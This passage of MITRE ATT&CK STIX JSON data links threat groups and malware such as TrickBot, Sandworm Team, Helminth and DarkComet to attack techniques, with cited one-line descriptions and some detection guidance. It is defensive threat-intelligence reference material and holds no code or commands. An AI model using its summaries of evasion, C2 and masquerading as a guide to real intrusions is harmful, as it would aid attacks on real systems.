Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.628Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) obtains the IP address, location, and other relevant network information from the victim’s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7bfecc9-a5ff-43c4-ad9e-4ca8c64c7fe2","created":"2020-06-10T18:36:54.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike GTR 2019","description":"CrowdStrike. (2019, January). 2019 Global Threat Report. Retrieved June 10, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2019GlobalThreatReport.pdf"},{"source_name":"Trend Micro Cyclops Blink March 2022","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"},{"source_name":"Secureworks IRON VIKING ","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.","url":"https://www.secureworks.com/research/threat-profiles/iron-viking"},{"source_name":"UK NCSC Olympic Attacks October 2020","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:05:40.225Z","description":"(Citation: CrowdStrike GTR 2019)(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)(Citation: Trend Micro Cyclops Blink March 2022)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7d3d7fc-e25f-4b1f-b7ea-7c19adb300bd","type":"relationship","created":"2021-01-29T17:42:10.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-04-20T02:00:43.933Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has served fake updates via legitimate websites that have been compromised.(Citation: Crowdstrike Indrik November 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7ded6a1-043e-437a-8a0c-00ded73e5289","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Nerex May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.(Citation: Symantec Nerex May 2012)","relationship_type":"uses","source_ref":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f7e3c06d-61a2-4008-89af-4380e7d71ced","created":"2022-02-18T16:58:12.023Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) has taken screenshots every five minutes and saved them to the user's local Application Data folder under `Temp\\SymbolSourceSymbols\\icons` or `Temp\\ModeAuto\\icons`.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:31:28.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7e5f676-46e1-4241-b0bb-fb32d891896a","type":"relationship","created":"2021-04-07T20:16:47.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T20:16:47.720Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used the BOtB tool which exploits CVE-2019-5736.(Citation: Unit 42 Hildegard Malware) ","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7ea9daf-5233-48b3-918f-9cea402b708f","type":"relationship","created":"2020-06-19T21:38:45.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T21:38:45.615Z","description":"(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7ebcffb-0397-430b-a19f-0f2f842d79ed","type":"relationship","created":"2020-10-01T13:33:13.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:33:13.640Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can support windows execution via SMB shares.(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7ed42df-01c4-4441-95ce-68228e157abf","type":"relationship","created":"2022-03-22T16:06:14.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T16:06:14.344Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used compromised credentials to sign into victims’ Microsoft 365 accounts.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7f1c7c3-192b-4675-815d-0a61b3e3a206","type":"relationship","created":"2020-06-11T16:28:58.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots July 2017","url":"https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/","description":"Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:48.611Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) used a backdoor to enumerate information about the infected system's operating system.(Citation: ESET Telebots July 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7f947cd-6e0c-499c-8cdf-293e38657e31","type":"relationship","created":"2020-05-26T16:17:59.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.411Z","description":"[Rocke](https://attack.mitre.org/groups/G0106)'s miner connects to a C2 server using port 51640.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7fee577-ea37-4d2b-9353-8bfada984f55","type":"relationship","created":"2021-09-21T15:16:40.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-09-21T21:13:33.396Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has disguised their backdoor droppers with naming conventions designed to blend into normal operations.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f80615a0-f092-44f5-91be-8b287428d3e3","created":"2023-09-05T17:51:04.055Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T17:51:04.055Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can use the `QueueUserAPC` API to execute shellcode on a compromised machine.(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f80c8dba-ec59-485b-8ee9-df387e1ceb79","created":"2023-03-14T16:12:08.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:55:03.132Z","description":"Monitor logging, messaging, and other artifacts highlighting the health of host sensors (e.g., metrics, errors, and/or exceptions from logging applications), especially correlating and comparing centralized telemetry against potentially suspicious notifications presented on individual systems.","relationship_type":"detects","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:39.519Z","description":"[Helminth](https://attack.mitre.org/software/S0170) splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f8127cf5-e2b6-41a3-b18f-ba250e2c01f9","created":"2022-03-30T14:26:51.853Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system. ","modified":"2022-04-20T00:36:48.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f813e8ab-96d7-4880-a3c2-50e164d4bd66","created":"2022-09-16T21:36:39.578Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:36:39.578Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), malicious files were decoded prior to execution.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f81a2588-e40f-4d55-80f0-4bc40c67906a","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for API calls that may employ various means to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f81ae9dc-3299-480f-817c-a5b65cfc38d7","type":"relationship","created":"2020-03-17T14:45:09.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:09.824Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing email links attempting to get a user to click.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f81b567d-9fd3-44f4-bd6b-9ba6f386609e","type":"relationship","created":"2020-05-15T15:04:34.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.346Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has registered two registry keys for shim databases.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-28T00:58:34.578Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to change firewall settings to allow a plug-in to be downloaded.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f823cffe-1f48-499e-a7b9-58f12e0b95b4","type":"relationship","created":"2020-03-09T13:00:19.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T13:00:19.485Z","relationship_type":"revoked-by","source_ref":"attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f82724f9-846b-442e-826c-a38a74a93737","type":"relationship","created":"2019-02-12T19:00:34.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"}],"modified":"2020-03-17T23:43:37.865Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as a legitimate file.(Citation: TrendMicro DarkComet Sept 2014)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f83167c8-b964-44d2-b370-5f5e86460568","type":"relationship","created":"2020-07-15T20:23:36.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trusteer Carberp October 2010","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."}],"modified":"2020-08-03T15:17:31.821Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has collected a list of running processes.(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f832e042-6859-4415-9b6c-4e093dc955ec","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2020-06-20T22:48:29.688Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used Regsvr32 to bypass application control techniques.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8340d49-ee7a-4ade-988f-3660904a18bb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.442Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f8372a2e-6db4-4353-9635-b1fcac9f90ed","created":"2020-11-06T18:02:10.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation 